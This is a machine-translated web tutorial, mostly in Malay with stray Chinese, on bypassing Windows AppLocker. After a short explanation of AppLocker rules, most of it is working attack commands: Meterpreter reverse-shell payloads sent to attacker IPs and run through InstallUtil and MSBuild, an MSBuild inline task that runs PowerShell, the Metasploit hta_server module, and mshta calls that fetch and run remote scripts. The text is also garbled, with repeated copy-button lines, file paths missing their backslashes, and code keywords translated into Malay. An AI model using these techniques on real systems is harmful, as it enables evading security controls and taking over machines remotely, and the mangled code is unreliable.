Rumah > Operasi dan penyelenggaraan > Keselamatan > Cara melakukan analisis pintasan AppLocker

Cara melakukan analisis pintasan AppLocker

WBOY
Lepaskan: 2023-05-15 10:55:19
ke hadapan
1107 orang telah melayarinya

Kata Pengantar

Apa itu applocker<br>

AppLocker, "Dasar Kawalan Aplikasi", ialah ciri keselamatan yang baru ditambah dalam sistem Windows 7. Ciri ini disepadukan secara lalai dalam sistem di atas win7 Kami boleh mendayakan Identiti Aplikasi dalam perkhidmatan, dan kemudian mencari pilihan Applocker dalam Dasar Kawalan Aplikasi dalam dasar keselamatan tempatan.

peraturan applocker <br>

Peraturan Applocker lalai menyokong jenis berikut:

Peraturan** | Format fail yang berkaitan---|--- fail boleh laku |. exe, .com skrip |. .ps1, .bat, .cmd, .vbs, .js fail Pemasang Windows | 🎜>

.appx tidak wujud dalam semua applocker Ia harus ditentukan mengikut versi windows Pada win10, selepas mencipta peraturan applocker, fail .applocker yang sepadan akan dihasilkan dalam C:WindowsSystem32AppLocker.

syarat peraturan applocker

<br>

Syarat peraturan ialah kriteria yang digunakan untuk membantu AppLocker mengenal pasti apl yang peraturan itu harus digunakan. Tiga syarat peraturan utama ialah penerbit, laluan dan cincang fail.

  • Penerbit: Mengenal pasti berdasarkan tandatangan digital aplikasi

    <br>

  • Laluan: Melalui aplikasi dalam sistem fail komputer anda atau pada rangkaian Lokasi untuk mengenal pastinya

    <br>

  • Fail Hash: Mewakili cincang kriptografi yang dikira sistem bagi fail yang dikenal pasti

    <br>

Cara melakukan analisis pintasan AppLocker

Peraturan Lalai AppLocker

<br>

Selepas anda mencipta peraturan applocker, sistem akan meminta anda secara lalai sama ada untuk menambah peraturan lalai, seperti yang ditunjukkan dalam rajah di bawah:

Cara melakukan analisis pintasan AppLocker

Peraturan lalai yang sepadan dengan setiap peraturan adalah seperti berikut:

Jenis peraturan lalai boleh laku termasuk:

  • Benarkan kumpulan Pentadbir tempatan Ahli menjalankan semua aplikasi.

    <br>

  • Benarkan ahli kumpulan Semua orang menjalankan apl dalam folder Windows.

    <br>

  • Benarkan ahli kumpulan Semua orang menjalankan apl dalam folder Program Files.

    <br>

Jenis peraturan lalai skrip termasuk:

  • Benarkan ahli kumpulan Pentadbir tempatan menjalankan semua skrip.

    <br>

  • Benarkan ahli kumpulan Semua orang menjalankan skrip dalam folder Program Files.

    <br>

  • Benarkan ahli kumpulan Semua orang menjalankan skrip dalam folder Windows.

    <br>

Jenis peraturan Lalai Pemasang Windows termasuk:

  • Benarkan ahli kumpulan Pentadbir setempat menjalankan semua fail Pemasang Windows.

    <br>

  • Benarkan ahli kumpulan Semua orang menjalankan semua fail Pemasang Windows yang ditandatangani secara digital.

    <br>

  • Benarkan ahli kumpulan Everyone menjalankan semua fail Windows Installer dalam folder WindowsInstaller.

    <br>

Jenis peraturan lalai DLL:

  • Benarkan ahli kumpulan Pentadbir tempatan menjalankan semua DLL.

    <br>

  • Benarkan ahli kumpulan Semua orang menjalankan DLL dalam folder Program Files.

    <br>

  • Benarkan ahli kumpulan Semua orang menjalankan DLL dalam folder Windows.

    <br>

Jenis peraturan lalai aplikasi berpakej:

  • Benarkan ahli kumpulan Semua orang memasang dan menjalankan semua aplikasi berpakej yang ditandatangani dan aplikasi berpakej Pemasang

    <br>

Gelagat Peraturan AppLocker

<br>

Peraturan boleh dikonfigurasikan untuk menggunakan membenarkan atau menafikan tindakan:

  • Izinkan. Anda boleh menentukan fail mana yang dibenarkan untuk dijalankan dalam persekitaran anda dan untuk pengguna atau kumpulan pengguna yang mana. Anda juga boleh mengkonfigurasi pengecualian untuk mengenal pasti fail yang dikecualikan daripada peraturan.

    <br>

  • Ditolak. Anda boleh menentukan fail yang tidak dibenarkan untuk dijalankan dalam persekitaran anda dan pengguna atau kumpulan yang disasarkan. Anda juga boleh mengkonfigurasi pengecualian untuk mengenal pasti fail yang dikecualikan daripada peraturan.

    <br>

Cara melakukan analisis pintasan AppLocker

Buat peraturan pengunci aplikasi

<br>

Setelah berkata begitu, mari kita larang menjalankan exe pada fail desktop sebagai contoh untuk membuat peraturan. Penciptaan adalah kira-kira seperti berikut:

Cara melakukan analisis pintasan AppLocker

Jalankan ujian exe:

Cara melakukan analisis pintasan AppLocker

Sistem akan menghalang kita daripada menjalankan

bypass Applocker<br>

Installutil.exe<br>

InstallUtil ialah sebahagian daripada Rangka Kerja .NET dan merupakan program baris arahan yang membolehkan pengguna memasang dengan pantas melalui gesaan arahan dan nyahpasang aplikasi. Memandangkan utiliti ini ialah binari yang ditandatangani Microsoft, ia boleh digunakan untuk memintas sekatan AppLocker untuk menjalankan mana-mana .NET boleh laku. Utiliti ini juga terletak di dalam folder Windows, yang tidak menggunakan dasar AppLocker kerana kandungan folder Windows perlu dilaksanakan untuk sistem berfungsi dengan baik.

Mula-mula kami menggunakan WhiteListEvasion (https://github.com/khr0x40sh/WhiteListEvasion) untuk menjana templat

<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk

python InstallUtil.py --cs_file pentestlab.cs --exe_file /root/Desktop/pentestlab.exe --payload windows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443

Cara melakukan analisis pintasan AppLocker

Arahan di atas akan menghasilkan templat C# yang akan mengandungi Metasploit ShellCode.

Letakkan fail yang dijana ke dalam sasaran dan laksanakannya menggunakan kaedah berikut:

<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk

C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U /root/ payload.exe

Sudah tentu, anda juga boleh menggunakan msf untuk menjana muatan csharp, kemudian menggantikan kod shell dalam templat, dan kemudian memindahkan fail cs ke mesin sasaran.

Kemudian susun skrip kami dengan csc:

<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk

C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /out:exeshell.exe exeshell.cs

Cara melakukan analisis pintasan AppLocker

Pada ketika ini kami cuba melaksanakan fail kami:

Cara melakukan analisis pintasan AppLocker

dipintas oleh peraturan, kemudian kami menggunakan

<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk

C:WindowsMicrosoft.NETFrameworkv2 . 0.50727InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

Pintas

Cara melakukan analisis pintasan AppLocker

msf berjaya dalam talian

Cara melakukan analisis pintasan AppLocker

Terdapat juga modul pintasan untuk applocker menggunakan InstallUtil.exe dalam msf.

<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
rrree

exploit/windows/local/applocker_bypass

Prinsipnya adalah sama

Cara melakukan analisis pintasan AppLocker

Dengan laluan biasa:

  • C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe<br>

  • C:WindowsMicrosoft.NETFramework64v2.0.50727<br>

  • C:WindowsMicrosoft.NETFramework64v2.0.50727<br>

    exe
  • C:WindowsMicrosoft.NETFrameworkv4.0.30319InstallUtil.exe

    <br>

C:WindowsMicrosoft.NETFramework64v4.0.30319

<br>

C:WindowsMicrosoft.NETFramework64v4.0.30319

exe

Msbuild.exe

MSBuild.exe (Microsoft Build Engine) ialah platform pembinaan perisian yang digunakan oleh Visual Studio. Ia memerlukan fail projek berformat XML yang mentakrifkan keperluan untuk membina untuk pelbagai platform dan konfigurasi. (Petikan: MSDN MSBuild) Cara melakukan analisis pintasan AppLocker

Kami boleh menggunakan MSBuild untuk melaksanakan proksi kod melalui utiliti Windows yang dipercayai. Ciri tugas sebaris MSBuild yang diperkenalkan dalam versi .NET 4 membenarkan kod C# untuk dimasukkan ke dalam fail projek XML. Tugasan Sebaris MSBuild akan menyusun dan melaksanakan tugasan sebaris. MSBuild.exe ialah perduaan Microsoft yang ditandatangani, jadi apabila digunakan dengan cara ini, ia boleh melaksanakan kod arbitrari dan memintas perlindungan senarai putih aplikasi yang dikonfigurasikan untuk membenarkan pelaksanaan MSBuild.exe.

Kami terus menggunakan GreatSCT untuk menjana fail xml di sini .

<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
./GreatSCT.py --ip 192.168.0.106 --port 4444 -t bypass -p msbuild/meterpreter/rev_tcp.py

Cara melakukan analisis pintasan AppLocker

dan>

dan kemudian menggunakan msbuild untuk melaksanakannya. : Cara melakukan analisis pintasan AppLocker

Sudah tentu anda juga boleh menggunakan msf untuk menjana kod shell c# dan kemudian memuatkannya menggunakan templat master pelajar Sanhao:

https:// github.com/3gstudent/msbuild- inline-task/blob/master/executes%20shellcode.xml

Perhatikan bahawa nama akhiran ditukar kepada .csproj

Selain melantun semula shell, kita juga boleh menggunakannya untuk memintas sekatan powershell. Cara melakukan analisis pintasan AppLocker

Kodnya adalah seperti berikut:
<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk

                             ");                        rentetan x = Console.ReadLine();                        cubalah                        {                            Console.WriteLine(RunPSCommand(x));                        }                        tangkapan (Pengecualian e)                        {                            Console.WriteLine(e.Message);                        }                    }                                kembali benar;                }               //Berdasarkan Karya Jared Atkinson Dan Justin Warner                rentetan statik awam RunPSCommand(rentetan cmd)                {                    //Init barang                    Runspace runspace = RunspaceFactory.CreateRunspace();                    runspace.Open();                    RunspaceInvoke scriptInvoker = baru RunspaceInvoke(runspace);                    Saluran paip = runspace.CreatePipeline();                    //Tambah arahan                    pipeline.Commands.AddScript(cmd);                    //Prep PS untuk output rentetan dan invoke                    pipeline.Commands.Add("Out-String");                    Koleksi keputusan = saluran paip.Invoke();                    runspace.Close();                    //Tukar rekod kepada rentetan                    StringBuilder stringBuilder = new StringBuilder();                    foreach (PSObject obj dalam hasil)                    {                        stringBuilder.Append(obj);                    }                    kembalikan stringBuilder.ToString().Trim();                 }                 RunPSFile kekosongan statik awam (skrip rentetan)                {                    PowerShell ps = PowerShell.Create();                    ps.AddScript(skrip).Invoke();                }            }        ]]>    

原地址:https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20PowerShellCommands.xml

Cara melakukan analisis pintasan AppLocker

成功绕过对powershell的限制。

常见路径如下:

  • C:WindowsMicrosoft.NETFramework02.NETFrame <br>

  • C:WindowsMicrosoft.NETFramework64v2.0.50727Msbuild.exe
  • <br>

  • C:WindowsMicrosoft.NETFrameworkv3.5Msbuild.exe
  • 🎜>

    <br>C:WindowsMicrosoft.NETFramework64v3.5Msbuild.exe

  • <br>C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe

  • C:WindowsMicrosoft.NETFramework64v4.0.30319Msbuild.exe<br>

  • Mshta.exe<br>

  • mshta.exe是微操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于于所用,用于义。集成在环境变量中。

使用Mshta的方式有很多,我们这里使用msf的exploit/windows/misc/hta_server模块进行测试:<br>
<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk

gunakan exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > tetapkan srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > mengeksploitasi

目标机执行:

<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk

mshta.exe http://192.168.0.106:8080/JR1gb>Cara melakukan analisis pintasan AppLocker可上线。

除了这种方法hta还可以使用cobaltstrike 、Setoolkit、Magic unicorn、Empire、CactusTorch、Koadic蛿版、Koadic、物衭🎜>

除了本地文件,mshta还支持远程下载的方式执行payload,比如:

<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
mshta.exe javascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close ();

除了以上的方式,mshta可以用用来执行powershell:

<br>
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
Salin selepas log masuk
rrree

Atas ialah kandungan terperinci Cara melakukan analisis pintasan AppLocker. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
sumber:yisu.com
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan